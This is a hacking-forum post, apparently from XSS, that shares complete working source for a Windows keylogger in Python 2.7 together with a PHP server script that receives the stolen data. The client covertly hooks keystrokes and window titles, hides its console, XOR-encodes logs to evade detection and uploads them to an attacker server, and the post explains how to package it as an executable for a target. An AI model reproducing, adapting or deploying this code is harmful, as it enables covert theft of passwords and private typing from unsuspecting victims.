• XSS.stack #1 – первый литературный журнал от юзеров форума

A client-server Keylogger in Python

MoreTrust

HDD-drive
Пользователь
Регистрация
26.12.2019
Сообщения
20
Реакции
12
This is a Python 2.7 keylogger I created several years ago.
Accumulates the user's keystrokes on a buffer and uploads it on a specific server when the buffer meets a specific size, then zeroes the buffer and so on...
The server-side script is in PHP (also given).
The program makes use of an elementary encoding (base64 - to avoid detection) but you can change it according to your needs.
You can also easily transform the .py file into an executable using pyinstaller (see at the end of the post from more info).
This is for educational purposes since the source can be seen as a starting point to add more more 'things'... 😎

Python:
# Keylogger in python 2.7
# Upload keystrokes into the attacker's server through port 80!
# (c) Peter Ping (private!!)
# logger.py [debug]
#
# Kill Switch: press CTRL+1965
#
# Required Libs:    [+] pywin32-219.win32-py2.7.exe,
#                   [+] pyHook-1.5.1.win32-py2.7.exe
# (pastebin pass: EYpN1pj3Tw)
#############################
 
from datetime import datetime
from threading import Thread
import pythoncom, pyHook, win32console, win32gui, sys, base64, time, threading, getpass, httplib, urllib, string
from urllib2 import urlopen
 
######################################################################
 
def send2web():
    global SendText, theName
    passs = 'XXXXXXXXXX' # a password in base64 format - passed in URL when I upload the data in to the server (see 'takeit.php').
 
    params = urllib.urlencode({ 'fname': base64.b64encode(theName),
                                'pwd': passs,
                                'info': Encoder(SendText,13) })
    headers = {"Content-type": "application/x-www-form-urlencoded",
               "Accept": "text/plain"}
    conn = httplib.HTTPConnection("111.222.333.444:80") ## !!!!!!!! PUT HERE THE IP:PORT OF THE ATTACKER'S SERVER
    conn.request("POST", "/takeit.php",params, headers) ## !!!!!!!! Put here the name of the PHP script used to handle uploaded data
    response = conn.getresponse()
    #print response.status, response.reason
    data = response.read()
    conn.close()
 
    return response.status
 
######################################################################
def Encoder(cleartext, xoring):
    length=0
    length = len(cleartext)
    encode = ''
    for x in range(0, length):
        encode += chr(ord(cleartext[(x):(x)+1]) ^ xoring)
    return encode
 
    ######################################################################
def UpdateLogfile(text):
    global NumOfKeys, myThreadOb1, allText, SendText, maxBuffer
    if debugMode == 1:
        print text
    allText = allText + text
    if NumOfKeys >= maxBuffer:
        NumOfKeys=0
        SendText = allText
        thread = threading.Thread(target=send2web)
        thread.start()
        allText = ''
 
######################################################################
def OnKeyboardEvent(event):
    global currentWindow, prvKey, exitCodeSequense, NumOfKeys, maxBuffer, username
    window = event.WindowName
    text = ""
   
    NumOfKeys = NumOfKeys + 1
   
    if window != currentWindow:
        text = "\n [+] "+username+" WINDOW: "  + window + " @ " + str(datetime.now()) + "\n"
        UpdateLogfile(text)
        currentWindow = window
       
    if event.Ascii == 0: # Special Key is pressed!  ###################
        #Do not keep multiple-presses of a special key.            
        if prvKey == event.Key:                                  
            return                                                
       
        # Remember the special key                                
        text =  "[" + event.Key + "]"      
        # do not record shift keys.
        if text == '[Lshift]' or text == '[Rshift]':
            text = ''
       
        # KILL SWITCH: The user presses CTRL+1+9+6+5, the secret keys combination to terminate the program
        if event.Key == "1" and exitCodeSequense == 0:
            exitCodeSequense = 1                
        elif event.Key == "9" and exitCodeSequense == 1:    
            exitCodeSequense = 2                
        elif event.Key == "6" and exitCodeSequense == 2:    
            exitCodeSequense = 3                
        elif event.Key == "5" and exitCodeSequense == 3:          
            text = text + "\n>> DEBUG MSG: user interrupt @ " + str(datetime.now()) + " <<\n"
            NumOfKeys = maxBuffer + 1 # change 'NumOfKeys' to send email inside UpdateLogfile (see line below).
            UpdateLogfile(text)
            #return True
            raise SystemExit # KILL SWITCH PRESSED!!
        else:                                                      
            exitCodeSequense = 0                                  
    ###################################################################
    elif event.Ascii == 8:
        text = "[BS]"
    elif event.Ascii == 9:
        text = "[TB]"
    elif event.Ascii == 13:
        text = "[CR]"
    elif event.Ascii == 27:
        text = "[ESC]"
    else:
        text = str(chr(event.Ascii))
   
    # Remember the last key pressed in order to prevent storing multiple-presses of a control key.
    prvKey = event.Key
   
    if text <> "":
            UpdateLogfile(text)
   
    return True
 
currentWindow = None
prvKey = None
exitCodeSequense = 0
debugMode = 0
args = args2 = 0
NumOfKeys = 0
allText = ''
SendText = ''
maxBuffer = 64
public_ip = urlopen('http://ip.42.pl/raw').read() # get my target's public IP.
theName = public_ip + '.' +getpass.getuser()
username = getpass.getuser()
 
if len(sys.argv) == 2:
    args = sys.argv[1]
 
if len(sys.argv) == 3:
    args2 = sys.argv[2]
    maxBuffer = string.atoi(args2)
 
if args == "debug":
    debugMode = 1
 
text = ">> "+username+" begin @ " + str(datetime.now()) + " <<\n"
UpdateLogfile(text)
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, debugMode)
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
########################################################################

and here is the Server-side script ( the data collected manager) in PHP:
PHP:
<?php
        // takeit.php
        // Arguments:
        //    filename: the name of the text file that keydata are kept
        //    pwd: a pasword in order for the function to work
        //    info: the actual data to be saved on a text file on the server
        // (pastebin pass: ZV5xgk96Xs)
        /////////////////
        $pass = base64_decode( $_POST['pwd'] );
        if ($pass <> 'mySecretPass') // This is the pass in clear text
                                     // defined in line 22 (in base64 format) at the client side .py file
        {
                die();
                return;
        }
        // The directory 1nf0_upload/ must be in web folder and WRITE access must be on.
        $fname = '1nf0_upload/'.base64_decode( $_POST['fname'] ).'.1nfo';
        $info  = $_POST['info'];
        $myfile = fopen($fname, "a") or die();
        fwrite($myfile, $info);
        fclose($myfile);
?>


It is very easy to transport the python script into an EXEcutable using PyInstaller:
Suppose that you call the script log.py, then you can just call from command line

Код:
c:\python27\python c:\Python27\PyInstaller-2.1\pyinstaller.py --onefile log.py

and you will get a log.exe that you can put it to the target.

More about how to transport a python script to an executable you can find here:
Код:
https://pythonguides.com/convert-python-file-to-exe-using-pyinstaller/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх